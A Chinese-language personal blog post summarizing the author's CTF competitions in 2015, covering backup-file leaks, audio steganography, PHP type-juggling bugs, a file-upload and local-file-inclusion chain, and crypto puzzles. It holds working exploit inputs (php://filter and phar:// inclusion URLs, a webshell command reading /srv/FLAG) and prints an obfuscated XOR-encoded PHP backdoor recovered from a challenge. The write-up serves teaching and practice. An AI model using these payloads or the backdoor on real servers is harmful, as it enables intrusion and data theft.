LoRexxar's Blog | 信息技术分享

ctf近期总结

2015/06/11

这几个月参加了几个ctf比赛,包括360杯,强网杯,cuit,这几次的比赛都给我很多帮助,现在做一点儿总结…

writeup

先放下这3个比赛的writeup,以供以后需要的时候查阅。
第三届360信息安全大赛writeup
强网杯writeup: https://github.com/JayvicWen/CTF/tree/master/2015/Qiangwang%20Cup%20(强网杯)/writeup
cuit比赛writeup

备份文件泄露

在这次的比赛中包括360杯cuit都多次考到了备份文件泄露漏洞,下面是我这几次遇到的漏洞。

  • Linux : xxx.php —> xxx.php~ || .xxx.php.swp
  • bak的后缀 —> xxx.xxx.bak
  • 有时候还可以试试压缩文件 —> xxx.rar || xxx.zip
  • 还有就是这次遇到MAC系统中的 ‘.DS_Store’ —> 这是个单独的文件就比如xxx/xxx/.DS_Store

音频隐写

这次强网杯碰到了这类有意思的题目,图片隐写就不多说了,这里讲讲音频隐写,这类题目由于接触过少而且难度参差不齐,所以很多东西都是比较新的,其中解法新颖…
1.第一种是百度的时候无意间看到的一类题型,flag隐藏的频率中,大概的做法就是找到音乐中不合理的地方,然后放大就可以发现,很明显发现这次题并不是这样的。
2.第二种和图片隐写类似,相当于把flag或者提示信息放在音乐中,把ascii转化为二进制然后插入到音乐中,这类方式一般难以发现,因为音乐一般信息量巨大,甚至1秒的数据就可以超过图片,这类题目大体的做法是找00,从空信息中间寻找问题,难度过高,这里就不赘述了。
3.最后就是这次题目的做法,想法相当好,题目首先拖到audacity,从频率分析中可以看到高频区有很明显的问题。

切换的频谱图模式,看到高频段有明显的小段。writeup告诉我们,这里按照0.1+0.4*x秒的模式翻译成二进制得到一些字符,仔细分析可以发现每8bit倒序一下得到flag。

代码漏洞(代码审计)#

这几次的ctf常常能遇到一类web题目,是关于php的一些漏洞…
1.首先是php4fun上的一道题目,被强网杯拿出来用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

//TODO: connect to DB

$id = $_GET['id'];

//TODO: sqli filter

$secretId = 1024;
if($id == $secretId){
echo 'Invalid id ('.$id.').';
}
else{
$query = 'SELECT * FROM notes WHERE id = \''.$id.'\';';
$result = mysql_query($query,$conn);
$row = mysql_fetch_assoc($result);

echo "notes: ".$row['notes']."</br>";
}
?>

这里我们利用PHP和MySQL的精度不同可以使得$id == $secretId的判断为false的同时SQL又能取到id为1024的记录,即我们只要传id=1024.00000001(具体几个0不重要,多了少了都不会爆flag的)

2.第二个是360的题目,题目打开是一张图片,按照360的鸟性,直接拿去看信息,果然看到一串由-.构成的东西,这个是摩斯码,拿去解码后得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$a= "0.1";
$b= $_GET['b'];
if($b! = '' )
{
if(is_array ($b))
{
echo "nokey!";
exit;
}
else if(!is_numeric ($b ))
{
$c = (int)(($a + $b ) * 10 );
if ($c == "8" && $b [10 ] == false )
{
echo "flag ";
}
else
{
echo "nokey ";
exit ;
}
}
else {echo "nokey ";}
}
else {echo "no ";}
?>

分析源码知道要满足b不是数字不是数组,然后a+b为8且第十位什么都没有,构造b=0.7b,得到flag,现在也不知道为什么后面的字母会被忽略。

3.数据库查询的逻辑漏洞
这里是卡死了无数人的360杯web20,文章的原址是遇到一个有趣的逻辑漏洞

文件上传

由于文件上传之前很少接触到,这里强网杯的俳句分析系统是接触的第一个文件上传,这道题是模仿CodeGate 2015 的猫头鹰。
翻一翻页面发现url有形如/index.php?page=[upload|view],page的参数可以是链接,于是用php filter来获取源代码

1
2
3
4
/index.php?page=php://filter/read=convert.base64-encode/resource=index
/index.php?page=php://filter/read=convert.base64-encode/resource=main
/index.php?page=php://filter/read=convert.base64-encode/resource=view
/index.php?page=php://filter/read=convert.base64-encode/resource=upload

index.php中有这么一串代码

1
2
$inc=sprintf("%s.php", $p);
include($inc);

那么无法用%00截断.php,这样无法直接传.tx,于是用压缩文件绕过这个,这里有两个常用的封装归档协议。

  • zip://php.zip#test
  • phar://php.zip/test
    这里php.zip为你上传的文件,后面的test的是压缩文件中你所加入一句话的test.php
    源码中看到地址,然后使用中国菜刀,用/index.php?page=phar://upload_paiju/xxxxxxx.txt/a来成功include,然后是各种列目录,然后发现/srv/flag
    使用/index.php?cmd=print_r(file_get_contents(‘/srv/FLAG’));&page=phar://./upload_paiju/xxxxxxx.txt/a拿到flag

加密解密

这次遇到好几个很特别的加密解密题目,尤其是360脑洞杯,这里也小小做个总结。
很多题目可能都是字符替换,这样就要计算频率,基本都是拖入这个quipqiup分析。
1.强网杯的替换方式为前后不一致,单独分析就能得到答案,也可以通过判断关键字符脑洞获得答案。
2.360杯的第一题加密比较特殊,使用了键盘上的字符顺序,按个分析既可得到答案。
3.360杯web20,从服务器上下载一个奇怪的php文件,答案后发现是base64+gzinflate加密,把其中的eval换成echo,看到加密前的代码:

1
${("#"^"|").("#"^"|").("#"^"|")}=("_"^"=").("!"^"`").("( "^"{").("~"^";").'6'.'4_'.("{"^"?").("~"^";").("?"^"|").("/"^"`").("{"^"?").("~"^";"); ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~"); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}("YXNzZXJ0X29wdGlvbnMoQVNTRVJUX1dBUk5JTkcsIDApOw==")); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}(("`"^":").("#"^"{").("&"^"|").("("^"@").("_"^"=").("~"^"=").("]"^":").("+"^"@").("|"^"$")."1".("}"^"?").("+"^"{").("|"^")")."1".("}"^"/").("?"^"]").("<"^"_").("$"^"`").("|"^".").("."^"[").("`"^"/").("("^"~")."96".("`"^"-").("("^"~")."96".("["^":").("{"^"?").("`"^".").("^"^"+").("/"^"`").("("^"~")."9".("_"^".").("-"^"`").("}"^"%").("{"^"-").("@"^"&").(")"^"|")."2".("]"^":").("#"^"[").("$"^"|")."0".("/"^"@").("#"^"[").("`"^"-")."10".("^"^".")));

明显看到有一串base64,解密得到

1
assert_options(ASSERT_WARNING, 0);

发现这句话是让assert不发出警告,直接去掉这串代码运行,直接爆出一句话木马的密码,也可以把后面一段echo输出,得到用base64解密得到flag。
4.360杯web40,这题很特殊,一般人看到一串只有大写字母和数字=构成的可能会想到是base32,但这题并不是这样的,我们用base64解密后,找出不可打印字符,枚举大小写后得到8个符合的字符串,提交就能得到flag。
5.还有一类题目是给一个镜像文件,这里也没有什么特别的办法,只能使用DiskGenius的恢复文件功能进行回复。

代码去重

在这次的ctf比赛中遇到这一类比较有意思的问题,ctf中,你往往会得到一串比你想象中复杂的多的代码,例如jsfuck,前面提到的摩斯电码,还有上面的加密。
360杯中网络协议20就得到这样一段很奇怪的代码。去重只有直接得到了flag。

CATALOG
  1. 1. writeup
  2. 2. 备份文件泄露
  3. 3. 音频隐写
  4. 4. 代码漏洞(代码审计)#
  5. 5. 文件上传
  6. 6. 加密解密
  7. 7. 代码去重